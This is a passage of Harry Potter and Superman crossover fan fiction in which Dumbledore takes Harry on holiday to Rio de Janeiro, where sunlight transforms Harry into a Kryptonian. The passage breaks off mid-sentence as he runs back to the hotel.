Sirius, that Harry will have everything he needs and some more. As part of Harry entering the family register he has been designated the heir of my personal fortune and to part of the Clan&#8217;s. Even if Harry didn&#8217;t have his own money he would have mine.&quot; </p>\n\n<p>His smile widened &quot;And I suppose that yours too, am I wrong, Sirius?&quot; </p>\n\n<p>&quot;Sirius?&quot; asked Harry, humbled and somewhat embarrassed to know that he was Dumbledore&#8217;s heir. If that wasn&#8217;t enough now he had discovered that he was also heir to Sirius&#8217; fortune.</p>\n\n<p>Harry wasn&#8217;t the only one embarrassed - Sirius&#8217;s flushed face was proof enough. &quot;Well, that is, it&#8217;s not as if I have a use for my money... and I&#8217;ve ensured that at least Harry would have that <i>if</i> something happens.&quot;</p>\n\n<p>Harry&#8217;s eyes gleamed dangerously. &quot;That will never happen! I won&#8217;t allow it!&quot;</p>\n\n<p>Sirius waved his hands, palms in defensive position. &quot;Whoa, easy, tiger! I know that... and be sure that I will do my best to prevent that. But to be prepared for everything is hardly foolish or dim-witted. It&#8217;s... something that must be done.&quot;</p>\n\n<p>Harry breathed deeply, controlling the anger that had rushed through his system at the thought that something could happen to Sirius. His godfather was right, he knew&#8230; that and the fact that his cry that he would not allow any harm to happen to Sirius was an empty vow. </p>\n\n<p>He had no control of that, it was like wanting to change the course of rivers... impossible.</p>\n\n<p>But that didn&#8217;t mean that he had to like it.</p>\n\n<p>Sighing, Harry turned to Dumbledore, putting the tidbit that he was the heir of the two older men aside in a dark corner of his mind where he would forget about it. Hopefully.</p>\n\n<p>&quot;Is there anything else we have to discuss? Anything I should know concerning the trip?&quot;</p>\n\n<p>Dumbledore&#8217;s silence lasted a short moment &quot;Only details of unimportance. We depart from here at eleven o&#8217;clock tomorrow, taking the flight at twelve past thirty at the airport of Heathrow. That should give us time enough to bid farewell to the rest of the family.&quot;</p>\n\n<p>&quot;Why use the Muggle transport?&quot; asked Sirius, not too surprised by that. &quot;Wouldn&#8217;t it be easier, not to say more comfortable and quicker, to use wizarding ways of travel?&quot;</p>\n\n<p>Dumbledore nodded curtly. &quot;It may be so, but it&#8217;s easier to blend into Muggles, giving us another way to make things difficult for Tom. We will not enter into contact with the wizarding community in Rio; we&#8217;re aiming for discretion while having a good time. Merlin knows that it&#8217;s been a long time since the last time I had some free time.&quot;</p>\n\n<p>His gaze softened as his attention shifted to Harry. &quot;You don&#8217;t need to pack anything, Harry, that will be taken care of once we reach Rio. Just take what you think you will need...&quot;</p>\n\n<p>&quot;What about Fawkes?&quot; asked Harry as he looked at his winged friend &quot;I don&#8217;t know if he is going to come with me, or even want to.&quot; </p>\n\n<p>The Hogwarts headmaster chuckled at that, his fingers caressing the firebird, which purred in obvious pleasure when the old wizard touched a particular spot between its feathers.</p>\n\n<p>&quot;If he wants to come with us, nothing will stop Fawkes, Harry. Still a little charm to disguise him from Muggles will be enough, should he decide to do so. As for the transport that&#8217;s something that he will take care of himself. So don&#8217;t worry about it. Worry about enjoying this to the fullest.&quot;</p>\n\n<p>Dumbledore stopped, as if suddenly remembering something, the twinkle in his eyes lessening.</p>\n\n<p>&quot;Oh dear,&quot; he muttered as he stroked his beard. &quot;I think that Rowan is not going to be pleased...&quot;</p>\n\n<p>Dread filled Harry, his heart missing a beat even as Sirius threw the two of them a doubtful look. &quot;What? Why?&quot;</p>\n\n<p>With his face straight and looking as though if the world had come to an end, Dumbledore answered, shivering.</p>\n\n<p>&quot;We&#8217;re late for lunch.&quot; </p>\n\n<p>---------------------------------------</p>\n\n<p>&nbsp;</p>\n\n<p>Forty-eight hours later...</p>\n\n<p>Rio de Janeiro</p>\n\n<p>&nbsp;</p>\n\n<p>The old man with the long silvery beard and the teenager with wild black hair entered the lobby of the Copacabana Palace Hotel, immediately moving towards the reception counter where one of the receptionists immediately greeted them.</p>\n\n<p>The man in charge of the staff at the reception of the hotel looked at the duo facing him. It was strange to see a man so old there (even if they were used to elderly customers) but something was <i>strange</i> about the silver bearded man. </p>\n\n<p>He had drawn the attention of several people, men and women of all ages and races, as soon as he had came in through the main entrance, and crossed the lobby in the company of the younger boy who, also strangely, held a green feathered parrot in a cage, handling it with care. The bird seemed quite pleased, its head moving continuously as if taking in the sights. </p>\n\n<p>Despite his apparent age the old man had moved with the same decision and energy a much younger man would display, as well as giving off something that made all those that looked at him feel good within.</p>\n\n<p>&quot;Yes, sir?&quot; asked the deeply tanned man with all the respect he could muster, eliciting a benevolent smile from the elderly gentleman that somehow made the man feel a pleasant warmth spread through his body.</p>\n\n<p>&quot;Hello, young man. I think I have a deluxe room reserved for me and my grandson.&quot;</p>\n\n<p>&quot;Under which name, sir?&quot; asked the man, his fingers moving quickly across the keyboard as he accessed the reservation menu. </p>\n\n<p>&quot;Oh, you will find my reservation under the name of Albus Dumbledore.&quot;</p>\n\n<p>The man quickly pulled out the data and in a few moments the desired information was downloaded.</p>\n\n<p>&quot;Yes, reservations for a deluxe room with two beds. Duration: three months. I will need an identity card or any other document that could identify you, sir.&quot; </p>\n\n<p>Dumbledore&#8217;s smile grew, his hand moving towards one of his pockets. &quot;But of course. Here you are.&quot; And with those simple words, he presented his British passport. The man quickly checked it and typed more information before giving it back. </p>\n\n<p>&quot;All seems to be in order sir.&quot; He gestured to the bellboy in waiting that moved immediately and, with expertise born out of habit, grabbed the few suitcases the pair had with them before awaiting further orders.</p>\n\n<p>&quot;Lead this gentlemen to the room 185.&quot; The young man in the hotel&#8217;s uniform nodded, awaiting for the clients to finish with his boss. </p>\n\n<p>Said man returned his attention to his customers. &quot;I wish you a enjoyable stay at our hotel. In case you need anything our staff is at your disposition twenty-four hours a day. This said, enjoy your time in our charming city!&quot;</p>\n\n<p>The old man nodded as he took the keys offered by the receptionist, his smile never leaving his wrinkled face and the man was once again assaulted by the feeling of goodness that this old man seemed to exude.</p>\n\n<p>He continued to look at the old man and his grandson (and their bird) as they followed the bellboy and entered the elevator, the closing doors hiding them from view.</p>\n\n<p>--------------------------------------- </p>\n\n<p>&nbsp;</p>\n\n<p>Shortly after, Harry, Dumbledore and Fawkes found themselves in their room, the old wizard leaving Harry the time to admire the suite before unpacking and moving on to the planned journey for the day. With a smile he left Harry behind, moving to the balcony and taking Fawkes with him, giving Harry time to get used to the new environment.</p>\n\n<p>Said teen wasn&#8217;t really aware of that as he couldn&#8217;t stop looking at the room, easily one of the most luxurious places he had ever seen. The only one that could compare to it (and even surpass it) was the one at the manor. </p>\n\n<p>Sure, the rooms in Gryffindor Tower were a big improvement from the cupboard under the stairs at Privet Drive, but this was something else, clearly more stylish and opulent. </p>\n\n<p>The room was spacious with twin beds covered with a soft material that seemed to be made of silk. Dark crimson and golden carpets of exquisite taste, some paintings here and there to contrast with the white walls decorated the room, and the high ceilings made him feel as though he was back in a smaller and more private version of the Great Hall. Tasteful curtains led to the balcony with (from what he could see from within the room) a view of the nearby beach of white sands and many more details that screamed &quot;expensive as hell&quot;.</p>\n\n<p>In fact, since they had arrived in Rio, Harry had found himself captivated by everything he saw, so different from the sights of Britain and Scotland he was so used to. </p>\n\n<p>The sun seemed everywhere, the temperature high but not unpleasant even if he wasn&#8217;t used to it, the sea of a thousand shades of blue that matched the cloudless sky. The vegetation was alluring to him, unfamiliar and calling to him with a thousand unknown fragrances. The sound of the city, the laughter and distant sound of drums, never stopped. </p>\n\n<p>Even as he and Dumbledore alighted from the cab, his eyes wandered hungrily around him, taking in everything new and, amongst which was the near-perfection of forms in the men and women... their bodies well toned and tanned to the point that it was hard to tell them apart from the people with darker skin (as if he cared about that to start with!). </p>\n\n<p>The way they moved and spoke the exotic Portuguese was alluring. </p>\n\n<p>Everywhere he looked, everything he saw, all he perceived seemed to be a witness to sensuality, a calling for the delectation of all the senses in the human body... even the caress of the wind upon his pale skin was pleasant, sensual in its feather-like quality. </p>\n\n<p>He was called back from his reverie by Dumbledore&#8217;s voice. &quot;Harry! Come here!&quot; </p>\n\n<p>Harry rushed to the balcony, noticing how spacious it was. Made entirely of marble and white stone, a couple of chairs and a table occupied part of the space - without a doubt for those who wished to take breakfast, lunch or dinner with a view of the city and the always lively beaches of Copacabana. </p>\n\n<p>&quot;Enjoying the view, Harry?&quot; asked Dumbledore, a teasing smile addressed to the young boy who blushed slightly. </p>\n\n<p>&quot;Yes, sir,&quot; he answered, noticing that Fawkes was now out of his cage and also enjoying the view. The illusion of the parrot was keyed to anyone looking at the magical bird... anyone but him and the headmaster.</p>\n\n<p>&quot;Harry...&quot; said Dumbledore, his voice mockingly serious. &quot;I have told you that you don&#8217;t have to call me that way anymore.&quot; </p>\n\n<p>Harry sighed, even as he smiled, embarrassed. &quot;I know. But I can&#8217;t help it. I&#8217;m too used to calling you so, professor.&quot; </p>\n\n<p>Dumbledore fingered his long beard. &quot;Mmm...very well then. Just remember that now you are a part of my family, so there is no need to be so formal, my boy. You seem to be interested in what you have seen so far, so I take it that you are liking Brazil?&quot; </p>\n\n<p>Harry nodded, smiling. &quot;Very much! It would be difficult not to, professor.&quot; </p>\n\n<p>Albus laughed. &quot;Good, very good. Well then, we will have to be sure that you get to like it more. But first of all - I did promise Rowan, Lila, Amanda, Aberforth and the others that I would buy you some clothes. I wouldn&#8217;t see the end of it if I didn&#8217;t do as promised. So why don&#8217;t we get some rest and then some Muggle clothing? Heavens knows that I need some myself.&quot; </p>\n\n<p>Harry grinned. Then an unpleasant notion crossed his mind. </p>\n\n<p>&quot;Sir...&quot;</p>\n\n<p>&quot;Um?&quot;</p>\n\n<p>&quot;Have you ever bought Muggle clothes?&quot; he asked with some apprehension, memories of his one time at the Quidditch World Cup popping up in his mind and how, and <i>what </i>wizards considered proper clothing to pass unseen among common humans. </p>\n\n<p>It wasn&#8217;t pretty. </p>\n\n<p>Knowing Dumbledore&#8217;s tastes for weird socks and even weirder motifs on them it could be a new sort of (unwanted) experience to go out with the old wizard through the streets of Rio de Janeiro.</p>\n\n<p>As if reading his mind, Dumbledore laughed. &quot;Don&#8217;t worry, Harry, I will not embarrass you with my taste for bright socks. I have also orders not to embarrass you with my tastes, under the threat of bloody harm from the female part of the family.&quot; </p>\n\n<p>&quot;Umm... I&#8217;m sorry to hear that, professor... said Harry sheepishly. </p>\n\n<p>Albus waved off his concerns. &quot;As I said, there&#8217;s nothing to worry about my boy. I assure you!&quot; The he sighed sadly. &quot;Though I wanted to try my new trunks!&quot;</p>\n\n<p>&quot;New... trunks?&quot; asked Harry, not really knowing if asking was a good idea. </p>\n\n<p>Dumbledore sighed again even if his eyes were twinkling. &quot;Yes... Red with green ducks and violet dots. I really wanted to try them on. Oh well... I will have to excuse myself to Dobby and Winky when we return to Hogwarts.&quot; </p>\n\n<p>Harry blinked &quot;Uh... Dobby and Winky? </p>\n\n<i><p>Uh-oh. </p>\n\n</i><p>&quot;Of course!&quot; said Dumbledore, grinning. &quot;I find the taste of the House elves refreshing. Don&#8217;t you?&quot; </p>\n\n<p>Harry grimaced. &quot;With all due respect, I think I will pass from answering.&quot; </p>\n\n<p>That made Albus laugh again. &quot;Very well. Now let&#8217;s unpack what little things we&#8217;ve got and see what this city has to offer us. Sound good?&quot; </p>\n\n<p>&quot;It does,&quot; agreed Harry fervently. </p>\n\n<p>&quot;I&#8217;m glad.&quot;</p>\n\n<p>Fawkes sang in agreement.</p>\n\n<p>---------------------------------------</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore kept his word and in the days that followed they discovered all the delights and activities Rio had to offer them. </p>\n\n<p>To start, Dumbledore, following the orders he had, bought Harry enough clothing to make up for the rag tag of hand-me-downs he had had all these years under the Dursleys&#8217; &quot;care&quot;. </p>\n\n<p>This embarrassed Harry to no end. He felt that the old headmaster was doing too much for him. First of all, providing him a new family, then taking him on his well-deserved vacation... and to top it all, buying him new clothes and paying for everything they did in Rio. </p>\n\n<p>Concerning the clothes, it wasn&#8217;t the clashing of colors that he had expected. Indeed Dumbledore not only listened to advice from the numerous shop keepers but also seemed to switch from wizard to mere human, behaving as he had always lived amongst Muggles with an ease that Harry had trouble following, thanks again to the marvelous care from his once relatives.</p>\n\n<p>Albus helped him with that as he did with everything else, taking all the time Harry needed to feel comfortable and at ease. Sometimes it really was as if Dumbledore was his grandfather and Harry&#8217;s admiration and care towards the venerable wizard did nothing but grow. </p>\n\n<p>Still, for the time being, they left the Hotel (after letting Fawkes fly free and having lunch in one of the hotel&#8217;s two restaurants) and hit the stores of the Ipanemian avenue of <i>Visconde de Piraja</i>. Hours later they made their way back to the hotel loaded with bags full of clothes. Mostly it was clothes for Harry, from underwear to casual Muggle clothing, not neglecting the badly needed swimming trunks, a dark green - almost black - that Harry liked. </p>\n\n<p>By the time they were out of the commercial part of the cosmopolitan zone of Rio, both Harry and Dumbledore looked extremely different from the way they looked when in Hogwarts. </p>\n\n<p>Strangely, they had chosen similar clothing to roam the streets of Rio in. Both were clothed in thin white cotton pants, short sleeved white shirts and brown leather sandals. After a small stop in one of the several hairstyling shops in the avenue, they had a slightly different look that went beyond the clothing.</p>\n\n<p>Dumbledore had opted to have his beard slightly trimmed and his long mane of white hair twisted into a braid. As for Harry (following Dumbledore&#8217;s gentle prodding and the not-so-gentle one of the Brazilian heat), he had chosen to have his hair cut short, the wild mass of midnight dark hair stylish for once. It was now short from behind and at the sides, but still wild enough to have some character left, represented by the natural way his hair (now short) spiked. </p>\n\n<p>His lightning-shaped scar now stood clearly in the middle of his brow, free from concealment by his fringe... which at first bothered Harry slightly. Still after some thinking he came to the conclusion that even with his long hair hiding the scar, people recognized him anyway. </p>\n\n<p>To finish the change in styles, Dumbledore decided that some proper protection against the light of the sun would be welcome and, in no time at all, they were both seen wearing dark sunglasses that amused the old headmaster of Hogwarts terribly. Harry had to stop his laughter each time Dumbledore stopped in front of a mirror to admire himself, all the while telling himself that he looked <i>cool</i>. </p>\n\n<p>They passed briefly by the hotel, just for some time to leave their packages and bags before plunging into the world of Rio de Janeiro, Fawkes having seemingly disappeared.</p>\n\n<p>To Harry&#8217;s surprise, Dumbledore seemed well-versed in the ways of the city, its inhabitants and history, pointing to Harry all the things he should be wary of or what was worthy of his attention, giving him all the little pieces of information that left Harry always wanting to know more of what had passed, who lived or who had died and what had happened to the people of the city and of Brazil as a whole. </p>\n\n<p>Such was the start of Harry&#8217;s holidays in Rio de Janeiro in Dumbledore&#8217;s company. </p>\n\n<p>There were too many things to see or to experience in Rio but under the expert guide of the Headmaster, Harry discovered them all, even if in Harry&#8217;s opinion, Dumbledore wanted to make him see them all only for a short while, so as to later, depending on Harry&#8217;s interest, return for a more thorough visit.</p>\n\n<p>There was the <i>Pao de Acucar</i> and its magnificent view of the city, the <i>Cocovado</i> mountain with the impressive statue of the Christ the Redeemer -<i>Cristo Redentor- </i>as it is called by the <i>cariocas</i> and wanderers from afar, the <i>Igreja de Nossa Senhora de Gloria do Outeiro,</i> the music and delights of the <i>Lagoa Rodrigo de Freitas, </i>a natural lagoon in the middle of the <i>Zona Zul, </i>where they passed more than one night enjoying the scenery and the softness of the Brazilian night...</p>\n\n<p>&nbsp;</p>\n\n<p>As if that wasn&#8217;t enough, Harry, again under Albus&#8217; guidance, discovered some of the sports that he could enjoy in Rio, specially those which were water-related, like scuba diving and others. He also learned to enjoy swimming, something that had been one of those things that he had lacked interest in while living with the Dursleys. Harry had no fond memory of his few times in the swimming pool when he had been younger. </p>\n\n<p>Not that they went to the pool too much. </p>\n\n<p>Dudley, having a natural aversion towards anything that implied physical exercise, tried everything he could to prevent that, but the few times when he wasn&#8217;t able to, he found great delight in dunking Harry in the water all the times it was possible, his &quot;friends&quot; joining in the fun. </p>\n\n<p>That made Harry (whose instinct of survival had always been extremely keen) distrust the water. Not because he didn&#8217;t like to swim the few times he had been able to do so undisturbed, but because in it he was an easier, and more importantly slower, prey to his cousin and his friends, all as stupid and cruel as the former. </p>\n\n<p>But now, with Dudley and his pseudo friends only a bad memory, he had discovered that he liked to swim, unable to resist the power the turquoise and cobalt water seemed to have over him (and any rational being that was looking for a way to lessen the heat and humidity of Rio), enjoying it, rolling within the waves that crashed against the shores of all the beaches that he and Dumbledore visited. </p>\n\n<p>Along with this pleasure was the surprise (even if it was but an anecdote) to discover that Dumbledore was surprisingly fit for someone who was nearly 150 years old.</p>\n\n<p>Even if his skin was wrinkled here and there, Harry couldn&#8217;t help but see willowy muscles shifting with strength under that skin which tanned as fast as his. Clad in his swimming trunks, Dumbledore was a sight of good health. As he had noticed before, the wrinkles on his face and the white hair (those on his chest more gray than white) seemed to be the only signs of his grand age. </p>\n\n<p>To Harry&#8217;s greatest shock, some of the <i>garotas</i> - young women - seemed to look at the Hogwarts headmaster with &quot;appreciation&quot;. Those looks reminded him of the ogling looks that the male students at Hogwarts sent to Fleur, the veela girl from Beauxbatons with great unease. </p>\n\n<p>All of that was surprise enough to make him forget Dumbledore&#8217;s swimming trunks that, while weren&#8217;t as bad as those he had described, which the House Elves had given him, were as weird or more so than the red one with duck shapes.</p>\n\n<p>For some unknown reason Dumbledore seemed really proud of them. </p>\n\n<p>When the old professor put them on (which was rather common) or the former weird behavior in the younger women repeated itself, Harry would wisely look to another direction, hiding his rolling eyes under his dark glasses, savoring the warmth of the sun upon his skin. </p>\n\n<p>That was what he enjoyed the most, strangely - the ever-present light of the sun, the heat of the light that was ever with him, soaking his skin, remaining there like a blanket of nothingness but sensation. The heat remained, even when the night came and the soft breezes coming from the distant Caribbean sea filled the air. </p>\n\n<p>During days he reveled under the light of the Sun, bathing in its rays, watching how it slowly turned his skin first red and burnt and soon, to golden-deep caramel that drew the shade of his eyes forth. And those days his eyes seemed to gleam more strongly and seem more alive. </p>\n\n<p>For maybe the first time of his life Harry allowed himself to enjoy time as it passed, not minding the past nor the future if not to miss his friends. But soon his attention would shift to the present, to enjoy it to its fullest like the juice of a wonderful fruit that was ripe for the taking. </p>\n\n<p>When Harry focused on the present, time would either pass in a rush when he was taking part in some sport or activity, no matter how simple it was... Or slowly when he was laying there letting the heat of the ever-present light dry him after hours of swimming, when his body was pleasantly , tired... numb even. Then he would sigh and let himself go, entering into a well-deserved slumber under the ever-vigilant eyes of Dumbledore.</p>\n\n<p>--------------------------------------- </p>\n\n<p>&nbsp;</p>\n\n<p>Two weeks had passed since Harry and Albus arrived and while each day they both enjoyed all of what the Brazilian city had to offer, a small change was starting to become frequent in Harry&#8217;s behavior. </p>\n\n<p>Harry seemed to spend more time sleeping under the sun with each passing day. </p>\n\n<p>Dumbledore could pinpoint the exact day Harry started to pass more and more time lying down - the ninth day after their arrival. </p>\n\n<p>At first he had supposed that it was just normal lassitude coming out of all they were doing (magic knows he was feeling tired trying to keep up with Harry!) but as the days flowed, one after the other, he would notice that the time Harry passed doing nothing but sleeping increased. </p>\n\n<p>It didn&#8217;t worry him too much, but still he couldn&#8217;t help but feel curious. Something was about to happen and he had no idea what it was, but his intuition told him that it would be significant, and that nothing he could do would stop it.</p>\n\n<p>So the old wizard settled for doing nothing.</p>\n\n<p>He and Harry continued enjoying their stay in the city as if nothing strange was going on, from time to time making excursions to the nearby parts of the Amazon rain forest. Harry was delighted by the sheer diversity of flora and fauna, all the while careful, however, to stay out of the magical community in Rio and in the emerald jungle. </p>\n\n<p>And each day Harry would sleep more. </p>\n\n<p>Harry himself didn&#8217;t find that too strange and in fact it was more than welcome. Never before had he enjoyed the sun in such a fashion and the heat of the reigning star always made him sleepy, his mind slowing until the darkness that was a restless slumber claimed him. </p>\n\n<p>Still despite how strange it was to always feel like sleeping Harry paid it no second thought and had no suspicion that something could be wrong with that. Each time he felt sleep creep upon him it was after some strenuous exercise or simply because it was time to sleep or after some delicious food when the oxygen in the bloodstream directed to the brain would lessen in favor to other body parts more needing the life fluid. </p>\n\n<p>So Harry continued sleeping, sometimes through whole afternoons until the time came to do something else and he would follow Dumbledore to some new spot or unknown attraction that the old wizard came up with in order to amuse him and spend a good time. </p>\n\n<p>But as the days passed Harry found himself sleeping more hours than the time he spent awake. </p>\n\n<p>--------------------------------------- </p>\n\n<p>&nbsp;</p>\n\n<p>Today was one of those days...</p>\n\n<p>For some reason or another, Dumbledore had some business that needed his attention. </p>\n\n<p>While that had surprised Harry, he wasn&#8217;t against having some time alone. Since his last days at Hogwarts he had had scarce time alone with himself. Always there was someone with him and strangely enough he found himself missing, even if it was but slightly, the solitude granted by the disdain the Dursleys had towards him. </p>\n\n<p>After some verbal exchanges Dumbledore had departed, promising that he would be back by midday, before they spent the rest of the day together. Harry agreed and took more time enjoying the morning, and taking pleasure in a slow-paced breakfast </p>\n\n<p>After that Harry gathered his things and, leaving a note for Dumbledore telling him where he would be - headed towards the beach. That was one of the things that he found more convenient about this hotel; the beach was but some minutes away. So Harry rushed as fast as his short legs could carry him and soon found himself crashing against the blue and white waves of the Atlantic, laughing as he tried to keep the salty water out of his eyes. </p>\n\n<p>For a while Harry enjoyed the simple pleasure of swimming, the water crashing against him as he ducked in it, moving through the liquid element with ease finding joy in that his child-like size, light as it was, was constantly rolled back and forth by the moving mass of water. </p>\n\n<p>Finally tired of fighting the currents of the sea, Harry crashed onto his towel, breathing deeply and soundly, chest heaving as he fought to regain his breath. He remained like that, not moving more than necessary, enjoying the sensation of burning that his muscles was experiencing.</p>\n\n<p>Yet soon that feeling disappeared, leaving place to the burning of the sun, his mind remembering that the weather forecast had showed that today would be an extremely hot day. Yet after three weeks of constant exposure to the rays of the sun his skin had tanned to the point that it could withstand the force of the sun. </p>\n\n<p>For a while he lay there until he started to feel the already familiar need to surrender to sleep and regain his strength. </p>\n\n<p>So he did that, letting the time pass, while from time to time a soft breeze would cut through the strength of the smothering star... </p>\n\n<p>--------------------------------------- </p>\n\n<p>&nbsp;</p>\n\n<p>Red... </p>\n\n<p>Red light, burning, shifting with darkness under closed eyelids.</p>\n\n<p>That was all he could see as the sun hammered against his bare skin.</p>\n\n<p>The heat around him was incredible, just a notch under what could be considered unbearable, soaking his skin and the sand under the towel he was resting upon. Harry could feel how the sweat was condensing upon his bare skin and with a hand brushed it away in a lazy gesture. </p>\n\n<p>He was feeling strange, light-headed with an unexpected consciousness of his body even as his mind became more and more muddled, slow in its inner processing...</p>\n\n<p>And strangely enough, it grew strong too, as if his body was growing stronger but that impression was reaching him barely above a whisper, a weak echo that couldn&#8217;t be interpreted by his almost comatose mind.</p>\n\n<p>Yet as the heat increased all coherent thought was slowly lost as his mind sank into sleepiness and with a yawn Harry fell asleep.</p>\n\n<p>Some hours later Dumbledore came, as he had said he would, after checking at reception and following the instructions in the message that Harry had left him. </p>\n\n<p>It didn&#8217;t surprise the old wizard to find Harry on the beach, for that had become his favorite pastime and favorite spot since the first few days of their vacation. Harry passed as much time as he could there, often spending hours on end at the beach. </p>\n\n<p>He found the boy in deep slumber, lying under the light of the sun. </p>\n\n<p>His first impulse was to wake him up, but he was prevented by the look of peace that was etched upon Harry&#8217;s face. </p>\n\n<p>From what he knew Harry had had terrible dreams ever since the summer following the terrible events of the Tri-Wizard Tournament and even when he was back in the relative safety of Hogwarts, those nightmares remained, disappearing at a worryingly slow rate.</p>\n\n<p>Shaking his head, Dumbledore decided to leave the boy there, to that small haven of peace. If what he suspected about Voldemort was true, peace would be something that the world would lack soon enough. </p>\n\n<p>Soon Harry would lack that peace that he seemed to be discovering at long last. </p>\n\n<p>Quietly he kneeled by Harry&#8217;s side and, like the real grandfather of the boy would do, Dumbledore gently laid a hand upon the boy&#8217;s brow in a gentle caress.</p>\n\n<p>Strangely enough his brow was ice cold.</p>\n\n<p>As quietly as before, he rose up and departed to prepare for the night&#8217;s activities, his mind working through things to do with his young charge, tucking that strange information away for later use.</p>\n\n<p>--------------------------------------- </p>\n\n<p>&nbsp;</p>\n\n<p>Had Dumbledore remained but some minutes more he would have seen something really interesting. </p>\n\n<p>The scar in Harry&#8217;s forehead, the mark of the Killing Curse, started to glow softly, gaining strength and brilliance by the second. First it glowed green and soon enough red, gold and silver, one after the other in rapid succession. At the same time Harry&#8217;s body started to glow faintly, a sheen of pale green that seemed to struggle for a moment but that soon enough dissolved into nothingness.</p>\n\n<p>Eradicated.</p>\n\n<p>Then, unseen to all in the beach, a trail of pale gray smoke surged from Harry&#8217;s body, a face forming within its mists, a face full of hate that seemed to hold on by sheer malice. Yet despite hate and will it was soon send to oblivion, a strong wind dispelling it away..</p>\n\n<p>For a moment more, as the body basked under the light of the sun, nothing else happened.</p>\n\n<p>What followed next would have called anyone&#8217;s attention but once again it followed its course, unseen to all.</p>\n\n<p>Unnoticed. </p>\n\n<p>The scar continued glowing before starting to move like liquid light, red and golden mingled with the flow of light as the scar disappeared for a moment. The lines coming from it formed a strange shape, like a shield, where within a stylized &quot;S&quot; could be seen, it taking up part of the forehead. </p>\n\n<p>The lines glowed red and the shield golden for a moment before shifting to silver, the whole symbol flashing before disappearing.</p>\n\n<p>Then, as Harry&#8217;s body continued to be exposed to the mighty rays of the sun, an amazing transformation started to happen. As though they were alive, the muscles of his body started to shift, full out and gain definition as they continued to drink the energy granted by the sunlight.</p>\n\n<p>In other circumstances his cells would have been storing that sort of radiation but all was converted to allow the body to reach its correct shape. </p>\n\n<p>Once that was done the body would return to normal and keep the power collected from the sun within each of his body&#8217;s cells, powering them. Now that the alien obstruction was gone, finally vanquished by the very sun that bathed it, the body could work on reshaping itself; correcting all that was to be corrected, from his underweight and small height to his eye&#8217;s deteriorated sight, passing by broken bones that not even magic could have healed due to its age, everything slowly corrected to set the body at long last into normality.</p>\n\n<p>Normality for a Kryptonian living under a yellow sun.</p>\n\n<p>He would need more exposure to the sun&#8217;s rays to reach the level he should be at, taking in consideration his biological age. Luckily he was in a place were sunlight was not only common but almost omnipresent.</p>\n\n<p>Harry remained asleep through everything, asleep even as his body shifted and reshaped itself, the alterations taking place without him being the wiser of it. Sleep prevented him from having to pass through the most of the evolution.</p>\n\n<p>But hours later, once he awakened, he was in for the shock of his life.</p>\n\n<p>--------------------------------------- </p>\n\n<p>&nbsp;</p>\n\n<p>Some hours later </p>\n\n<p>&nbsp;</p>\n\n<p>Harry blinked as he felt the wind blow on his skin, carrying the scent of the distant Caribbean sea. </p>\n\n<p>He blinked when he realized that the sun was setting in the west, creating a glorious view with gold and purples alongside pink and royal blue colors.</p>\n\n<p>The white sand under his skin was still warm, comforting, but he could feel it cooling now that the sun was setting and the night was coming.</p>\n\n<p>Still there was something weird... He didn&#8217;t know why he had thought of that, but his instincts were telling him that something was wrong and that had been so since he had woken up.</p>\n\n<p>&lt;What could it be?&gt;</p>\n\n<p>Still thinking he reached for his glasses, finding them where he had left them before: by his side on one corner of the blanket he had taken with him to the beach.</p>\n\n<p>&lt;Something is not right...&gt; was the only thought that could cross his still sleepy mind.</p>\n\n<p>That was until he tried to put on his glasses and found that he couldn&#8217;t.</p>\n\n<p>Blinking, he looked at them and tried again, not sure whether he should believe what his senses were telling him. He tried to put them on again but it was too difficult because somehow, he noticed with some shock, the glasses were too small.</p>\n\n<p>&lt;What the...?&gt; </p>\n\n<p>He tried to push them on with a little bit more of force but almost immediately he could feel the glasses strain. There wasn&#8217;t any discomfort coming from his skin as the glasses rubbed against it. He pushed a little more and was startled when the glasses broke in two with a snapping sound.</p>\n\n<p>&quot;What the hell?&quot; he muttered, turning the two pieces in his hands.</p>\n\n<p>His hands.</p>\n\n<p>Now Harry could be oblivious to many things and more than once he had been accused of being nothing more than a dense git. But having Hogwarts&#8217; record of visits to the Hospital Wing of the school went with knowing what was wrong with his body.</p>\n\n<p>He even believed that he knew even more about the anatomy of the human body than anyone save Madam Pomfrey, which would be an empty boast coming from anyone else. As such he had memorized each part of his body through countless examinations to see if everything was in its right place.</p>\n\n<p>And right now things were downright weird.</p>\n\n<p>He dropped the glasses as his attention focused on his hands.</p>\n\n<p>His <i>way</i> bigger hands.</p>\n\n<p>Then as if of their own accord, his eyes traveled to his arms, freaking him out even more as he took a first look at his body.</p>\n\n<p>&quot;Um... now that&#8217;s something else.&quot;</p>\n\n<p>Where before no muscle tone had existed, now he was almost bursting in comparison. His biceps and triceps were like those of &quot;David&quot; made by Michelangelo, strong and lean, graceful in their proportion, the veins carefully marked against the steel-like mass. He flexed his arms and the muscles sprang into action.</p>\n\n<p>Swallowing, his eyes traveled to his shoulders, which were much more broader, something that he had always lacked despite all the Quidditch he had played or trained for. His bigger hands trailed upon his flesh testing the stone-like quality. It was the same for his chest, now powerful and full. His lower abdominal muscles were sculpted, tensing with uncanny strength, the full six pack a wonder to him who had always lacked any volume in his muscles.</p>\n\n<p>&quot;Holy gods...&quot; he whispered. </p>\n\n<p>That&#8217;s when he noticed that once again the wind blew and that he could feel it upon every inch of his skin.</p>\n\n<p>His bare skin!</p>\n\n<p>Quickly, praying that he was wrong, his eyes moved to his groin and, to his horror he discovered that the swimming trunks had burst open, not able to resist the growth of his body and was now lying torn apart upon the towel...</p>\n\n<p>Leaving him nude.</p>\n\n<p>With a yelp and his cheeks in flames, Harry was up, his hand flashing, taking up the towel which he used to cover his waist.</p>\n\n<p>He was assaulted by a feeling of vertigo as he realized that he had grown considerably in some short hours. He was now dwarfing his previous form. By how much he couldn&#8217;t be sure, but one thing was clear: Neither Ron nor Malfoy would be able to call him midget anymore.</p>\n\n<p>It was too much.</p>\n\n<p>&quot;Something&#8217;s wrong here, something is very wrong!&quot; </p>\n\n<p>He blinked and his hand rose up to his neck, touching his Adam&#8217;s Apple. His voice hadn&#8217;t sounded anywhere near what he remembered how his voice was supposed to sound like. It had deepened considerably. No one would recognize his voice - that was for sure!</p>\n\n<p>Panic seized him and he did the first thing that came to his mind.</p>\n\n<p>He blasted off, seeking refuge; meaning he had to return to the hotel even if it was ten minutes away.</p>\n\n<p>He started running and soon realized, with growing awe and panic, that he was running way faster than any time he could remember and it had nothing to do with being taller and having grown longer legs in one single afternoon.</p>\n\n<p>From around him he could hear people making noises, laughter and catcalls from nearby women, all centered around the fact that he had only a towel wrapped around his now more muscular body.</p>\n\n<p>Luckily he soon reached the 